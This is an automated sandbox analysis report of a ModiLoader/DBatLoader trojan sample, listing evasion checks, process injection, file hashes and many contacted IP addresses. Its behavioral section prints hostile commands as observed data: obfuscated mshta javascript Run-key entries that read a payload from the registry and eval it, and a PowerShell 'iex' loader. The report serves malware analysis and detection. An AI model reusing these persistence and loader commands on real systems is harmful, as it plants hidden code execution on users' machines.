Malware Analysis Report

2024-08-06 14:29

Sample ID 240528-3qzjbsad86
Target 7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118
SHA256 ec6ca2461cb77d91e47c6fc3eb67937019480511c04d8263a566bda38b355a7f
Tags
modiloader evasion persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ec6ca2461cb77d91e47c6fc3eb67937019480511c04d8263a566bda38b355a7f

Threat Level: Known bad

The file 7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader evasion persistence trojan

ModiLoader, DBatLoader

Process spawned unexpected child process

Checks for common network interception software

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Looks for VirtualBox drivers on disk

Looks for VMWare Tools registry key

Drops startup file

Checks computer location settings

Executes dropped EXE

Checks BIOS information in registry

Loads dropped DLL

Maps connected drives based on registry

Adds Run key to start application

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry class

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Virtualization/Sandbox Evasion
T1497
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Software Discovery
T1518
Query Registry
T1012
Virtualization/Sandbox Evasion
T1497
File and Directory Discovery
T1083
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-28 23:43

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-28 23:43

Reported

2024-05-28 23:46

Platform

win7-20240221-en

Max time kernel

150s

Max time network

154s

Command Line

"C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:Rq16ZXMLVe=\"W33edGi2q\";K2L=new%20ActiveXObject(\"WScript.Shell\");gN0lDglS=\"5\";oRfh5=K2L.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ruqqchx\\\\uiksnqah\");nW5LjEw=\"mbr1n\";eval(oRfh5);Qtxy2K5U=\"KIoJIWaiH5\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gJhjBa2mI=\"Ov8Be9\";qN4=new%20ActiveXObject(\"WScript.Shell\");BqdteF6s=\"6rHSFLifP\";txW4Z=qN4.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");TfErVmAs3=\"si\";eval(txW4Z);IL4uxYqy=\"weakOq5hGn\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d71742\\cc24ba.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 1292 set thread context of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 2212 set thread context of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 set thread context of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command\ = "mshta \"javascript:ZyUDV1E4=\"HwXs\";QD6=new ActiveXObject(\"WScript.Shell\");voM34WGP=\"Szm5nM9I\";wU5G2f=QD6.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");ZLh4JiIHz=\"inO\";eval(wU5G2f);cGNK6qkQ9=\"JqKen\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49\ = "49de3d" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2172 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 2172 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 2172 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 2172 wrote to memory of 1292 N/A C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 1292 wrote to memory of 3020 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe C:\Windows\SysWOW64\wscript.exe
PID 2684 wrote to memory of 2212 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2212 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2212 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2684 wrote to memory of 2212 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2212 wrote to memory of 1552 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 1552 wrote to memory of 2644 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\7ecf23f3ab2568c8dc95bd1ec0d3ad15_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBhdR.exe UUPPHBZOfNIWNOEBZBh

C:\Windows\SysWOW64\wscript.exe

- CmdLine Args

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:JIS4XHtS="wE8uglw3h";LH0=new%20ActiveXObject("WScript.Shell");gQ6ozya7EJ="bTV8";Y2b2XQ=LH0.RegRead("HKLM\\software\\Wow6432Node\\Hx04oRgj\\Rr73F6Al");tA3HRJa="rLh";eval(Y2b2XQ);CnwE9Ch="P";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ubmajmro

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
NZ 130.195.40.244:80 tcp
DE 93.122.119.32:80 tcp
IT 151.27.234.116:80 tcp
JP 42.124.20.64:80 tcp
NL 104.113.250.96:80 tcp
SE 83.185.57.129:80 tcp
US 12.190.7.254:443 tcp
US 204.55.53.95:80 tcp
US 40.245.199.78:80 tcp
CN 110.124.119.177:80 tcp
IE 86.44.43.201:80 tcp
AU 157.128.214.210:80 tcp
BR 179.250.128.172:8080 tcp
US 107.82.82.32:80 tcp
US 99.88.215.33:80 tcp
US 100.155.32.165:80 tcp
CA 149.96.124.92:80 tcp
US 69.218.224.187:80 tcp
BR 201.94.54.166:8080 tcp
VN 14.239.204.124:80 tcp
US 162.214.172.127:80 tcp
US 162.214.172.127:80 162.214.172.127 tcp
CN 101.144.70.50:80 tcp
US 172.126.244.213:80 tcp
US 207.121.152.231:80 tcp
GB 137.221.235.29:80 tcp
US 32.186.108.187:80 tcp
CN 175.56.189.94:80 tcp
US 54.224.254.239:80 tcp
GB 86.159.157.194:80 tcp
MA 105.135.145.123:80 tcp
US 99.118.143.59:443 tcp
CN 114.89.19.209:80 tcp
US 69.240.99.154:80 tcp
DE 188.193.236.117:80 tcp
US 204.232.46.233:80 tcp
IT 213.217.175.158:80 tcp
GB 25.86.226.86:80 tcp
CN 211.91.69.244:80 tcp
US 75.171.98.48:80 tcp
US 170.115.187.41:443 tcp
US 72.215.44.85:80 tcp
US 170.172.59.61:80 tcp
NO 85.164.10.22:80 tcp
US 162.123.3.161:80 tcp
RU 77.51.120.157:443 tcp
FR 84.37.230.39:443 tcp
FR 109.23.171.192:80 tcp
CA 199.24.146.191:80 tcp
US 199.244.253.238:80 tcp
HK 38.207.95.4:80 tcp
US 75.230.54.115:80 tcp
US 12.57.84.72:80 tcp
ZA 196.7.47.27:443 tcp
US 98.46.163.203:80 tcp
CZ 213.220.249.25:80 tcp
ID 103.149.177.31:80 tcp
US 164.175.67.61:443 tcp
ES 45.11.65.223:8080 tcp
PH 61.9.81.14:80 tcp
US 198.108.142.81:80 tcp
US 96.244.176.160:80 tcp
ES 87.125.112.219:80 tcp
US 28.100.66.85:80 tcp
US 107.204.71.19:80 tcp
CN 117.39.123.155:80 tcp
RU 212.1.230.65:80 tcp
N/A 127.9.189.54:80 tcp
JP 218.139.171.22:80 tcp
JP 133.130.65.48:80 tcp
RU 31.31.68.104:80 tcp
US 70.217.253.205:80 tcp
US 28.43.62.73:80 tcp
CA 184.65.130.95:80 tcp
US 98.23.117.52:80 tcp
US 28.155.146.254:80 tcp
NP 49.126.84.34:80 tcp
VN 27.73.207.204:80 tcp
HK 1.64.113.188:443 tcp
US 98.156.220.210:80 tcp
US 56.175.237.57:80 tcp
QA 178.153.84.254:80 tcp
IT 151.63.206.127:80 tcp
ZA 198.54.225.183:80 tcp
US 162.214.172.127:80 162.214.172.127 tcp
CA 167.36.254.82:8080 tcp
US 72.174.146.128:80 tcp
RU 91.219.179.28:80 tcp
CN 36.153.176.112:80 tcp
ID 120.182.128.73:80 tcp
CN 36.121.200.103:8080 tcp
IT 87.15.205.15:8080 tcp
TN 196.178.186.44:80 tcp
AR 190.210.39.66:80 tcp
AT 143.130.247.145:80 tcp
TR 176.54.151.225:80 tcp
IR 91.190.88.233:80 tcp
CA 142.217.11.155:443 tcp
US 157.31.103.60:443 tcp
CO 181.137.65.214:80 tcp
JP 210.251.226.174:80 tcp
US 172.146.153.190:80 tcp
US 128.63.200.106:443 tcp
HK 203.218.242.189:80 tcp
ZA 41.13.122.180:80 tcp
ES 185.165.253.1:80 tcp
NL 20.8.102.186:80 tcp
US 136.113.164.121:80 tcp
DE 139.75.153.156:80 tcp
US 174.230.16.133:80 tcp
TW 218.165.25.57:80 tcp
GB 109.181.52.40:80 tcp
IT 78.210.49.159:80 tcp
DE 51.153.57.123:8080 tcp
FR 51.91.15.144:80 tcp
US 64.169.164.52:80 tcp
US 65.190.112.67:443 tcp
CO 190.66.133.184:80 tcp
US 21.117.15.182:80 tcp
US 24.242.22.23:80 tcp
BE 149.134.10.156:80 tcp
US 143.25.36.83:80 tcp
IN 23.211.221.5:80 tcp
BR 191.140.109.143:80 tcp
US 170.104.45.124:80 tcp
US 215.136.133.13:80 tcp
KR 169.210.190.185:80 tcp
US 8.12.36.27:80 tcp
US 19.15.153.14:80 tcp
US 104.8.24.137:8080 tcp
IN 106.79.25.202:80 tcp
US 19.182.229.165:80 tcp
N/A 197.195.216.56:80 tcp

Files

memory/3020-38-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-37-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-36-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-35-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-34-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-33-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-32-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-31-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/3020-30-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3020-27-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/3020-20-0x0000000000400000-0x0000000000439000-memory.dmp

memory/3020-21-0x0000000000400000-0x0000000000439000-memory.dmp

memory/1292-19-0x0000000000160000-0x0000000000161000-memory.dmp

C:\Users\Admin\AppData\Roaming\UUPPHBZOfNIWNOEBZBhdR.exe

MD5 71d8f6d5dc35517275bc38ebcc815f9f
SHA1 cae4e8c730de5a01d30aabeb3e5cb2136090ed8d
SHA256 fb73a819b37523126c7708a1d06f3b8825fa60c926154ab2d511ba668f49dc4b
SHA512 4826f45000ea50d9044e3ef11e83426281fbd5f3f5a25f9786c2e487b4cf26b04f6f900ca6e70440644c9d75f700a4c908ab6f398f59c65ee1bff85dfef4ce59

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\TcEMbLQgCOBP

MD5 8fadfcb36f2fcb8cd5563aa718ff7958
SHA1 00ed85c2346231c8d9b146bf77abe37712f298a5
SHA256 abc35989ce7d5dddcaba45ee4fabf1d7029b6afc5ab11bfb6c69a8a5a9a79f91
SHA512 63b9bcd5361c13165104446d981022614c8f84345895937d0686d5b37407a105c196e2219a1f09feb552a778987ca6536e8914987073ba92b62364b62d4ce139

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UUPPHBZOfNIWNOEBZBh

MD5 adbbe9634b5819cc48cb9700d0d21f7b
SHA1 4a2f11f35db9fd8a3dfff28c9bfcd1463a8aeb2e
SHA256 af423bd619a7ddf795f53194985596794c30279a56221dd30b67c3a7ba19a865
SHA512 60d80abf67cedbd2d86459461b90eba039ec14b6f002daf44468ce621960d5fc745ccb6319f9c15fd0c29cfe6581ac2026d8747908005fbbf245d71144171d04

memory/3020-41-0x0000000000990000-0x0000000000A64000-memory.dmp

memory/2212-44-0x0000000005D80000-0x0000000005E54000-memory.dmp

memory/1552-47-0x0000000000110000-0x000000000024E000-memory.dmp

memory/2212-48-0x0000000005D80000-0x0000000005E54000-memory.dmp

memory/1552-45-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-55-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-63-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-62-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-61-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-60-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-59-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-58-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-57-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-56-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-54-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-53-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-52-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-51-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-50-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-49-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-66-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-64-0x0000000000110000-0x000000000024E000-memory.dmp

memory/1552-65-0x0000000000110000-0x000000000024E000-memory.dmp

